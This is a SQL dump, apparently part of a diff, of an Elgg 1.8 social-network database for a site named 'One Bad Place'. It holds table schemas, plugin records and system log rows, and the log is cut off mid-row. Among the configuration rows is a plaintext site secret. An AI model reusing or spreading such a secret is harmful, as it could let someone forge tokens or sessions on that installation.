('filestore_run_once','1510271617'),('plugin_run_once','1510271617'),('elgg_widget_run_once','1510271617'),('installed','1510271899'),('path','/var/www/wtlabelgg.com/elgg/'),('dataroot','/var/run/elgg_data/'),('default_site','1'),('version','2014012000'),('simplecache_enabled','1'),('system_cache_enabled','1'),('processed_upgrades','a:45:{i:0;s:14:\"2008100701.php\";i:1;s:14:\"2008101303.php\";i:2;s:14:\"2009022701.php\";i:3;s:14:\"2009041701.php\";i:4;s:14:\"2009070101.php\";i:5;s:14:\"2009102801.php\";i:6;s:14:\"2010010501.php\";i:7;s:14:\"2010033101.php\";i:8;s:14:\"2010040201.php\";i:9;s:14:\"2010052601.php\";i:10;s:14:\"2010060101.php\";i:11;s:14:\"2010060401.php\";i:12;s:14:\"2010061501.php\";i:13;s:14:\"2010062301.php\";i:14;s:14:\"2010062302.php\";i:15;s:14:\"2010070301.php\";i:16;s:14:\"2010071001.php\";i:17;s:14:\"2010071002.php\";i:18;s:14:\"2010111501.php\";i:19;s:14:\"2010121601.php\";i:20;s:14:\"2010121602.php\";i:21;s:14:\"2010121701.php\";i:22;s:14:\"2010123101.php\";i:23;s:14:\"2011010101.php\";i:24;s:61:\"2011021800-1.8_svn-goodbye_walled_garden-083121a656d06894.php\";i:25;s:61:\"2011022000-1.8_svn-custom_profile_fields-390ac967b0bb5665.php\";i:26;s:60:\"2011030700-1.8_svn-blog_status_metadata-4645225d7b440876.php\";i:27;s:51:\"2011031300-1.8_svn-twitter_api-12b832a5a7a3e1bd.php\";i:28;s:57:\"2011031600-1.8_svn-datalist_grows_up-0b8aec5a55cc1e1c.php\";i:29;s:61:\"2011032000-1.8_svn-widgets_arent_plugins-61836261fa280a5c.php\";i:30;s:59:\"2011032200-1.8_svn-admins_like_widgets-7f19d2783c1680d3.php\";i:31;s:14:\"2011052801.php\";i:32;s:60:\"2011061200-1.8b1-sites_need_a_site_guid-6d9dcbf46c0826cc.php\";i:33;s:62:\"2011092500-1.8.0.1-forum_reply_river_view-5758ce8d86ac56ce.php\";i:34;s:54:\"2011123100-1.8.2-fix_friend_river-b17e7ff8345c2269.php\";i:35;s:53:\"2011123101-1.8.2-fix_blog_status-b14c2a0e7b9e7d55.php\";i:36;s:50:\"2012012000-1.8.3-ip_in_syslog-87fe0f068cf62428.php\";i:37;s:50:\"2012012100-1.8.3-system_cache-93100e7d55a24a11.php\";i:38;s:59:\"2012041800-1.8.3-dont_filter_passwords-c0ca4a18b38ae2bc.php\";i:39;s:58:\"2012041801-1.8.3-multiple_user_tokens-852225f7fd89f6c5.php\";i:40;s:59:\"2013030600-1.8.13-update_user_location-8999eb8bf1bdd9a3.php\";i:41;s:62:\"2013051700-1.8.15-add_missing_group_index-52a63a3a3ffaced2.php\";i:42;s:53:\"2013052900-1.8.15-ipv6_in_syslog-f5c2cc0196e9e731.php\";i:43;s:50:\"2013060900-1.8.15-site_secret-404fc165cf9e0ac9.php\";i:44;s:50:\"2014012000-1.8.18-remember_me-9a8a433685cf7be9.php\";}'),('admin_registered','1'),('simplecache_lastupdate_default','1510272992'),('simplecache_lastcached_default','1510272992'),('__site_secret__','zYJc_b-KOEi0aOIvpfSb89tEtMdrEYZc'),('simplecache_lastupdate_failsafe','0'),('simplecache_lastcached_failsafe','0'),('simplecache_lastupdate_foaf','0'),('simplecache_lastcached_foaf','0'),('simplecache_lastupdate_ical','0'),('simplecache_lastcached_ical','0'),('simplecache_lastupdate_installation','0'),('simplecache_lastcached_installation','0'),('simplecache_lastupdate_json','0'),('simplecache_lastcached_json','0'),('simplecache_lastupdate_opendd','0'),('simplecache_lastcached_opendd','0'),('simplecache_lastupdate_php','0'),('simplecache_lastcached_php','0'),('simplecache_lastupdate_rss','0'),('simplecache_lastcached_rss','0'),('simplecache_lastupdate_xml','0'),('simplecache_lastcached_xml','0'); +/*!40000 ALTER TABLE `elgg_datalists` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_entities` +-- + +DROP TABLE IF EXISTS `elgg_entities`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_entities` ( + `guid` bigint(20) unsigned NOT NULL AUTO_INCREMENT, + `type` enum('object','user','group','site') NOT NULL, + `subtype` int(11) DEFAULT NULL, + `owner_guid` bigint(20) unsigned NOT NULL, + `site_guid` bigint(20) unsigned NOT NULL, + `container_guid` bigint(20) unsigned NOT NULL, + `access_id` int(11) NOT NULL, + `time_created` int(11) NOT NULL, + `time_updated` int(11) NOT NULL, + `last_action` int(11) NOT NULL DEFAULT '0', + `enabled` enum('yes','no') NOT NULL DEFAULT 'yes', + PRIMARY KEY (`guid`), + KEY `type` (`type`), + KEY `subtype` (`subtype`), + KEY `owner_guid` (`owner_guid`), + KEY `site_guid` (`site_guid`), + KEY `container_guid` (`container_guid`), + KEY `access_id` (`access_id`), + KEY `time_created` (`time_created`), + KEY `time_updated` (`time_updated`) +) ENGINE=MyISAM AUTO_INCREMENT=45 DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_entities` +-- + +LOCK TABLES `elgg_entities` WRITE; +/*!40000 ALTER TABLE `elgg_entities` DISABLE KEYS */; +INSERT INTO `elgg_entities` VALUES (1,'site',0,0,1,0,2,1510271899,1510271899,1510271899,'yes'),(2,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(3,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(4,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(5,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(6,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(7,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(8,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(9,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(10,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(11,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(12,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(13,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(14,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(15,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(16,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(17,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(18,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(19,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(20,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(21,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(22,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(23,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(24,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(25,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(26,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(27,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(28,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(29,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(30,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(31,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(32,'object',2,1,1,1,2,1510271899,1510271899,1510271899,'yes'),(33,'user',0,0,1,0,2,1510271931,1511314477,1510271931,'yes'),(34,'object',3,33,1,33,0,1510271931,1510271931,1510271931,'yes'),(35,'object',3,33,1,33,0,1510271931,1510271931,1510271931,'yes'),(36,'object',3,33,1,33,0,1510271931,1510271931,1510271931,'yes'),(37,'object',3,33,1,33,0,1510271931,1510271931,1510271931,'yes'),(38,'object',3,33,1,33,0,1510271931,1510271931,1510271931,'yes'),(39,'user',0,0,1,0,2,1510272666,1510272666,1510272666,'yes'),(40,'user',0,0,1,0,2,1510272705,1510272705,1510272705,'yes'),(41,'user',0,0,1,0,2,1510272744,1510272744,1510272744,'yes'),(42,'user',0,0,1,0,2,1510272762,1510272762,1510272762,'yes'),(43,'object',2,1,1,1,2,1511313760,1511313760,1511313760,'no'),(44,'object',2,1,1,1,2,1511313868,1511313868,1511313868,'yes'); +/*!40000 ALTER TABLE `elgg_entities` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_entity_relationships` +-- + +DROP TABLE IF EXISTS `elgg_entity_relationships`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_entity_relationships` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `guid_one` bigint(20) unsigned NOT NULL, + `relationship` varchar(50) NOT NULL, + `guid_two` bigint(20) unsigned NOT NULL, + `time_created` int(11) NOT NULL, + PRIMARY KEY (`id`), + UNIQUE KEY `guid_one` (`guid_one`,`relationship`,`guid_two`), + KEY `relationship` (`relationship`), + KEY `guid_two` (`guid_two`) +) ENGINE=MyISAM AUTO_INCREMENT=29 DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_entity_relationships` +-- + +LOCK TABLES `elgg_entity_relationships` WRITE; +/*!40000 ALTER TABLE `elgg_entity_relationships` DISABLE KEYS */; +INSERT INTO `elgg_entity_relationships` VALUES (1,2,'active_plugin',1,1510271899),(2,3,'active_plugin',1,1510271899),(3,11,'active_plugin',1,1510271899),(4,12,'active_plugin',1,1510271899),(5,13,'active_plugin',1,1510271899),(7,15,'active_plugin',1,1510271899),(8,16,'active_plugin',1,1510271899),(9,17,'active_plugin',1,1510271899),(10,18,'active_plugin',1,1510271899),(11,19,'active_plugin',1,1510271899),(12,20,'active_plugin',1,1510271899),(13,21,'active_plugin',1,1510271899),(14,22,'active_plugin',1,1510271899),(15,23,'active_plugin',1,1510271899),(16,24,'active_plugin',1,1510271899),(17,25,'active_plugin',1,1510271899),(18,26,'active_plugin',1,1510271899),(19,28,'active_plugin',1,1510271899),(20,29,'active_plugin',1,1510271899),(21,31,'active_plugin',1,1510271899),(22,32,'active_plugin',1,1510271899),(23,33,'member_of_site',1,1510271931),(24,39,'member_of_site',1,1510272666),(25,40,'member_of_site',1,1510272705),(26,41,'member_of_site',1,1510272744),(27,42,'member_of_site',1,1510272762),(28,44,'active_plugin',1,1511314039); +/*!40000 ALTER TABLE `elgg_entity_relationships` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_entity_subtypes` +-- + +DROP TABLE IF EXISTS `elgg_entity_subtypes`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_entity_subtypes` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `type` enum('object','user','group','site') NOT NULL, + `subtype` varchar(50) NOT NULL, + `class` varchar(50) NOT NULL DEFAULT '', + PRIMARY KEY (`id`), + UNIQUE KEY `type` (`type`,`subtype`) +) ENGINE=MyISAM AUTO_INCREMENT=6 DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_entity_subtypes` +-- + +LOCK TABLES `elgg_entity_subtypes` WRITE; +/*!40000 ALTER TABLE `elgg_entity_subtypes` DISABLE KEYS */; +INSERT INTO `elgg_entity_subtypes` VALUES (1,'object','file','ElggFile'),(2,'object','plugin','ElggPlugin'),(3,'object','widget','ElggWidget'),(4,'object','blog','ElggBlog'),(5,'object','thewire','ElggWire'); +/*!40000 ALTER TABLE `elgg_entity_subtypes` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_geocode_cache` +-- + +DROP TABLE IF EXISTS `elgg_geocode_cache`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_geocode_cache` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `location` varchar(128) DEFAULT NULL, + `lat` varchar(20) DEFAULT NULL, + `long` varchar(20) DEFAULT NULL, + PRIMARY KEY (`id`), + UNIQUE KEY `location` (`location`) +) ENGINE=MEMORY DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_geocode_cache` +-- + +LOCK TABLES `elgg_geocode_cache` WRITE; +/*!40000 ALTER TABLE `elgg_geocode_cache` DISABLE KEYS */; +/*!40000 ALTER TABLE `elgg_geocode_cache` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_groups_entity` +-- + +DROP TABLE IF EXISTS `elgg_groups_entity`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_groups_entity` ( + `guid` bigint(20) unsigned NOT NULL, + `name` text NOT NULL, + `description` text NOT NULL, + PRIMARY KEY (`guid`), + KEY `name` (`name`(50)), + KEY `description` (`description`(50)), + FULLTEXT KEY `name_2` (`name`,`description`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_groups_entity` +-- + +LOCK TABLES `elgg_groups_entity` WRITE; +/*!40000 ALTER TABLE `elgg_groups_entity` DISABLE KEYS */; +/*!40000 ALTER TABLE `elgg_groups_entity` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_hmac_cache` +-- + +DROP TABLE IF EXISTS `elgg_hmac_cache`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_hmac_cache` ( + `hmac` varchar(255) NOT NULL, + `ts` int(11) NOT NULL, + PRIMARY KEY (`hmac`), + KEY `ts` (`ts`) +) ENGINE=MEMORY DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_hmac_cache` +-- + +LOCK TABLES `elgg_hmac_cache` WRITE; +/*!40000 ALTER TABLE `elgg_hmac_cache` DISABLE KEYS */; +/*!40000 ALTER TABLE `elgg_hmac_cache` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_metadata` +-- + +DROP TABLE IF EXISTS `elgg_metadata`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_metadata` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `entity_guid` bigint(20) unsigned NOT NULL, + `name_id` int(11) NOT NULL, + `value_id` int(11) NOT NULL, + `value_type` enum('integer','text') NOT NULL, + `owner_guid` bigint(20) unsigned NOT NULL, + `access_id` int(11) NOT NULL, + `time_created` int(11) NOT NULL, + `enabled` enum('yes','no') NOT NULL DEFAULT 'yes', + PRIMARY KEY (`id`), + KEY `entity_guid` (`entity_guid`), + KEY `name_id` (`name_id`), + KEY `value_id` (`value_id`), + KEY `owner_guid` (`owner_guid`), + KEY `access_id` (`access_id`) +) ENGINE=MyISAM AUTO_INCREMENT=17 DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_metadata` +-- + +LOCK TABLES `elgg_metadata` WRITE; +/*!40000 ALTER TABLE `elgg_metadata` DISABLE KEYS */; +INSERT INTO `elgg_metadata` VALUES (1,1,1,2,'text',0,2,1510271899,'yes'),(2,33,3,4,'text',33,2,1510271931,'yes'),(3,33,5,4,'text',0,2,1510271931,'yes'),(4,33,6,7,'text',0,2,1510271931,'yes'),(5,39,3,4,'text',39,2,1510272666,'yes'),(6,39,8,4,'text',39,2,1510272666,'yes'),(7,39,9,10,'integer',39,2,1510272666,'yes'),(8,40,3,4,'text',40,2,1510272705,'yes'),(9,40,8,4,'text',40,2,1510272705,'yes'),(10,40,9,10,'integer',40,2,1510272705,'yes'),(11,41,3,4,'text',41,2,1510272744,'yes'),(12,41,8,4,'text',41,2,1510272744,'yes'),(13,41,9,10,'integer',41,2,1510272744,'yes'),(14,42,3,4,'text',42,2,1510272762,'yes'),(15,42,8,4,'text',42,2,1510272762,'yes'),(16,42,9,10,'integer',42,2,1510272762,'yes'); +/*!40000 ALTER TABLE `elgg_metadata` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_metastrings` +-- + +DROP TABLE IF EXISTS `elgg_metastrings`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_metastrings` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `string` text NOT NULL, + PRIMARY KEY (`id`), + KEY `string` (`string`(50)) +) ENGINE=MyISAM AUTO_INCREMENT=11 DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_metastrings` +-- + +LOCK TABLES `elgg_metastrings` WRITE; +/*!40000 ALTER TABLE `elgg_metastrings` DISABLE KEYS */; +INSERT INTO `elgg_metastrings` VALUES (1,'email'),(2,'me@you.com'),(3,'notification:method:email'),(4,'1'),(5,'validated'),(6,'validated_method'),(7,'admin_user'),(8,'admin_created'),(9,'created_by_guid'),(10,'33'); +/*!40000 ALTER TABLE `elgg_metastrings` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_objects_entity` +-- + +DROP TABLE IF EXISTS `elgg_objects_entity`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_objects_entity` ( + `guid` bigint(20) unsigned NOT NULL, + `title` text NOT NULL, + `description` text NOT NULL, + PRIMARY KEY (`guid`), + FULLTEXT KEY `title` (`title`,`description`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_objects_entity` +-- + +LOCK TABLES `elgg_objects_entity` WRITE; +/*!40000 ALTER TABLE `elgg_objects_entity` DISABLE KEYS */; +INSERT INTO `elgg_objects_entity` VALUES (2,'blog',''),(3,'bookmarks',''),(4,'categories',''),(5,'custom_index',''),(6,'dashboard',''),(7,'developers',''),(8,'diagnostics',''),(9,'embed',''),(10,'externalpages',''),(11,'file',''),(12,'garbagecollector',''),(13,'groups',''),(14,'htmlawed',''),(15,'invitefriends',''),(16,'likes',''),(17,'logbrowser',''),(18,'logrotate',''),(19,'members',''),(20,'messageboard',''),(21,'messages',''),(22,'notifications',''),(23,'pages',''),(24,'profile',''),(25,'reportedcontent',''),(26,'search',''),(27,'tagcloud',''),(28,'thewire',''),(29,'tinymce',''),(30,'twitter_api',''),(31,'uservalidationbyemail',''),(32,'zaudio',''),(34,'',''),(35,'',''),(36,'',''),(37,'',''),(38,'',''),(43,'mod',''),(44,'edit_footer',''); +/*!40000 ALTER TABLE `elgg_objects_entity` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_private_settings` +-- + +DROP TABLE IF EXISTS `elgg_private_settings`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_private_settings` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `entity_guid` int(11) NOT NULL, + `name` varchar(128) NOT NULL, + `value` text NOT NULL, + PRIMARY KEY (`id`), + UNIQUE KEY `entity_guid` (`entity_guid`,`name`), + KEY `name` (`name`), + KEY `value` (`value`(50)) +) ENGINE=MyISAM AUTO_INCREMENT=60 DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_private_settings` +-- + +LOCK TABLES `elgg_private_settings` WRITE; +/*!40000 ALTER TABLE `elgg_private_settings` DISABLE KEYS */; +INSERT INTO `elgg_private_settings` VALUES (1,2,'elgg:internal:priority','1'),(2,3,'elgg:internal:priority','2'),(3,4,'elgg:internal:priority','3'),(4,5,'elgg:internal:priority','4'),(5,6,'elgg:internal:priority','5'),(6,7,'elgg:internal:priority','6'),(7,8,'elgg:internal:priority','7'),(8,9,'elgg:internal:priority','8'),(9,10,'elgg:internal:priority','9'),(10,11,'elgg:internal:priority','10'),(11,12,'elgg:internal:priority','11'),(12,13,'elgg:internal:priority','12'),(13,14,'elgg:internal:priority','13'),(14,15,'elgg:internal:priority','14'),(15,16,'elgg:internal:priority','15'),(16,17,'elgg:internal:priority','16'),(17,18,'elgg:internal:priority','17'),(18,19,'elgg:internal:priority','18'),(19,20,'elgg:internal:priority','19'),(20,21,'elgg:internal:priority','20'),(21,22,'elgg:internal:priority','21'),(22,23,'elgg:internal:priority','22'),(23,24,'elgg:internal:priority','23'),(24,25,'elgg:internal:priority','24'),(25,26,'elgg:internal:priority','25'),(26,27,'elgg:internal:priority','26'),(27,28,'elgg:internal:priority','27'),(28,29,'elgg:internal:priority','28'),(29,30,'elgg:internal:priority','29'),(30,31,'elgg:internal:priority','30'),(31,32,'elgg:internal:priority','31'),(32,34,'handler','control_panel'),(33,34,'context','admin'),(34,34,'column','1'),(35,34,'order','0'),(36,35,'handler','admin_welcome'),(37,35,'context','admin'),(38,35,'order','10'),(39,35,'column','1'),(40,36,'handler','online_users'),(41,36,'context','admin'),(42,36,'column','2'),(43,36,'order','0'),(44,37,'handler','new_users'),(45,37,'context','admin'),(46,37,'order','10'),(47,37,'column','2'),(48,38,'handler','content_stats'),(49,38,'context','admin'),(50,38,'order','20'),(51,38,'column','2'),(52,36,'num_display','8'),(53,37,'num_display','5'),(54,38,'num_display','8'),(55,39,'elgg:internal:priority','31'),(56,39,'footercontents',''),(59,44,'footercontents',''),(58,44,'elgg:internal:priority','32'); +/*!40000 ALTER TABLE `elgg_private_settings` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_river` +-- + +DROP TABLE IF EXISTS `elgg_river`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_river` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `type` varchar(8) NOT NULL, + `subtype` varchar(32) NOT NULL, + `action_type` varchar(32) NOT NULL, + `access_id` int(11) NOT NULL, + `view` text NOT NULL, + `subject_guid` int(11) NOT NULL, + `object_guid` int(11) NOT NULL, + `annotation_id` int(11) NOT NULL, + `posted` int(11) NOT NULL, + PRIMARY KEY (`id`), + KEY `type` (`type`), + KEY `action_type` (`action_type`), + KEY `access_id` (`access_id`), + KEY `subject_guid` (`subject_guid`), + KEY `object_guid` (`object_guid`), + KEY `annotation_id` (`annotation_id`), + KEY `posted` (`posted`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_river` +-- + +LOCK TABLES `elgg_river` WRITE; +/*!40000 ALTER TABLE `elgg_river` DISABLE KEYS */; +/*!40000 ALTER TABLE `elgg_river` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_sites_entity` +-- + +DROP TABLE IF EXISTS `elgg_sites_entity`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_sites_entity` ( + `guid` bigint(20) unsigned NOT NULL, + `name` text NOT NULL, + `description` text NOT NULL, + `url` varchar(255) NOT NULL, + PRIMARY KEY (`guid`), + UNIQUE KEY `url` (`url`), + FULLTEXT KEY `name` (`name`,`description`,`url`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_sites_entity` +-- + +LOCK TABLES `elgg_sites_entity` WRITE; +/*!40000 ALTER TABLE `elgg_sites_entity` DISABLE KEYS */; +INSERT INTO `elgg_sites_entity` VALUES (1,'One Bad Place','','http://wtlabelgg.com/'); +/*!40000 ALTER TABLE `elgg_sites_entity` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_system_log` +-- + +DROP TABLE IF EXISTS `elgg_system_log`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_system_log` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `object_id` int(11) NOT NULL, + `object_class` varchar(50) NOT NULL, + `object_type` varchar(50) NOT NULL, + `object_subtype` varchar(50) NOT NULL, + `event` varchar(50) NOT NULL, + `performed_by_guid` int(11) NOT NULL, + `owner_guid` int(11) NOT NULL, + `access_id` int(11) NOT NULL, + `enabled` enum('yes','no') NOT NULL DEFAULT 'yes', + `time_created` int(11) NOT NULL, + `ip_address` varchar(46) NOT NULL, + PRIMARY KEY (`id`), + KEY `object_id` (`object_id`), + KEY `object_class` (`object_class`), + KEY `object_type` (`object_type`), + KEY `object_subtype` (`object_subtype`), + KEY `event` (`event`), + KEY `performed_by_guid` (`performed_by_guid`), + KEY `access_id` (`access_id`), + KEY `time_created` (`time_created`), + KEY `river_key` (`object_type`,`object_subtype`,`event`) +) ENGINE=MyISAM AUTO_INCREMENT=90 DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_system_log` +-- + +LOCK TABLES `elgg_system_log` WRITE; +/*!40000 ALTER TABLE `elgg_system_log` DISABLE KEYS */; +INSERT INTO `elgg_system_log` VALUES (1,2,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(2,3,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(3,4,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(4,5,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(5,6,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(6,7,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(7,8,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(8,9,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(9,10,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(10,11,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(11,12,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(12,13,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(13,14,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(14,15,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(15,16,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(16,17,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(17,18,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(18,19,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(19,20,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(20,21,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(21,22,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(22,23,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(23,24,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(24,25,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(25,26,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(26,27,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(27,28,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(28,29,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(29,30,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(30,31,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(31,32,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(32,1,'ElggRelationship','relationship','active_plugin','create',0,0,2,'yes',1510271899,'172.25.0.3'),(33,23,'ElggRelationship','relationship','member_of_site','create',0,0,2,'yes',1510271931,'172.25.0.3'),(34,33,'ElggUser','user','','create',0,0,2,'yes',1510271931,'172.25.0.3'),(35,2,'ElggMetadata','metadata','notification:method:email','create',0,33,2,'yes',1510271931,'172.25.0.3'),(36,34,'ElggWidget','object','widget','create',0,33,0,'yes',1510271931,'172.25.0.3'),(37,35,'ElggWidget','object','widget','create',0,33,0,'yes',1510271931,'172.25.0.3'),(38,36,'ElggWidget','object','widget','create',0,33,0,'yes',1510271931,'172.25.0.3'),(39,37,'ElggWidget','object','widget','create',0,33,0,'yes',1510271931,'172.25.0.3'),(40,38,'ElggWidget','object','widget','create',0,33,0,'yes',1510271931,'172.25.0.3'),(41,33,'ElggUser','user','','make_admin',0,0,2,'yes',1510271931,'172.25.0.3'),(42,3,'ElggMetadata','metadata','validated','create',0,0,2,'yes',1510271931,'172.25.0.3'),(43,4,'ElggMetadata','metadata','validated_method','create',0,0,2,'yes',1510271931,'172.25.0.3'),(44,33,'ElggUser','user','','update',33,0,2,'yes',1510271931,'172.25.0.3'),(45,33,'ElggUser','user','','login',33,0,2,'yes',1510271931,'172.25.0.3'),(46,33,'ElggUser','user','','update',33,0,2,'yes',1510272591,'172.25.0.3'